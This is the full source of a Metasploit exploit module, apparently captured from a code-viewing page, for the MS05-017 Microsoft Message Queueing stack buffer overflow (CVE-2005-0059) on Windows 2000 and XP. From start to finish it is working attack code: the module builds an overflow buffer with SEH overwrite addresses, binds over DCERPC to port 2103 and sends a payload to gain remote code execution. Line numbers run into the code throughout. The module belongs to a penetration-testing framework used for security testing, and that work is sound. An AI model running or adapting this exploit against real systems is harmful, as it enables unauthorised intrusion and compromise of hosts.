Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/dcerpc/ms05_017_msmq.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'MS05-017 Microsoft Message Queueing Service Path Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the RPC interface16to the Microsoft Message Queueing service. The offset to the17return address changes based on the length of the system18hostname, so this must be provided via the 'HNAME' option.19Much thanks to snort.org and Jean-Baptiste Marchand's20excellent MSRPC website.2122},23'Author' => [ 'hdm' ],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2005-0059'],28[ 'OSVDB', '15458'],29[ 'MSB', 'MS05-017'],30[ 'BID', '13112'],31],32'Privileged' => true,33'Payload' =>34{35'Space' => 1024,36'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",37'StackAdjustment' => -3500,3839},40'Platform' => %w{ win },41'Targets' =>42[43[44'Windows 2000 ALL / Windows XP SP0-SP1 (English)',45{46'Platform' => 'win',47'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe48},49],50],51'DisclosureDate' => '2005-04-12',52'DefaultTarget' => 0))5354# Change the default port values to point at MSMQ55register_options(56[57Opt::RPORT(2103),58OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]),59])60end6162def autofilter63# Common vulnerability scanning tools report port 445/13964# due to how they test for the vulnerability. Remap this65# back to 2103 for automated exploitation6667rport = datastore['RPORT'].to_i68if ( rport == 445 or rport == 139 )69datastore['RPORT'] = 210370end7172# The NetBIOS hostname is required to exploit this bug reliably.73if (not datastore['HNAME'])74# XXX automatically determine the hostname75return false76end7778true79end8081def exploit8283# MSMQ supports three forms of queue names, the two we can use are84# the IP address and the hostname. If we use the IP address via the85# TCP: format, the offset to the SEH frame will change depending on86# the length of the real hostname. For this reason, we force the user87# to supply us with the actual hostname.8889# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName9091queue_name = "OS:#{datastore['HNAME']}";92queue_hlen = datastore['HNAME'].length * 293queue_path = unicode(queue_name + "\\PRIVATE$\\")9495buf = rand_text_english(4000, payload_badchars)9697# Windows 2000 SEH offset goes first98buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')99buf[372 - queue_hlen - 4, 2] = "\xeb\x22"100101# Windows XP SEH offset goes second102seh = generate_seh_payload(target['Rets'][1])103buf[400 - queue_hlen - 4, seh.length] = seh104105# Append the path to the location and null terminate it106queue_path << buf << "\x00\x00"107108# Get the unicode length of this string109queue_plen = queue_path.length / 2110111connect112print_status("Trying target #{target.name}...")113114handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])115print_status("Binding to #{handle} ...")116dcerpc_bind(handle)117print_status("Bound to #{handle} ...")118119stubdata =120NDR.long(1) +121NDR.long(1) +122NDR.long(1) +123NDR.long(3) +124NDR.long(3) +125NDR.long(2) +126NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)127128print_status('Sending exploit ...')129130response = dcerpc.call(9, stubdata)131132if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)133case dcerpc.last_response.stub_data134when "\x20\x00\x0e\xc0"135print_status("The server rejected our request, the HNAME parameter could be incorrect")136when "\x1e\x00\x0e\xc0"137print_status("The server does not appear to be exploitable")138else139print_status("An unknown response was received from the server:")140print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])141end142end143144handler145disconnect146end147end148149150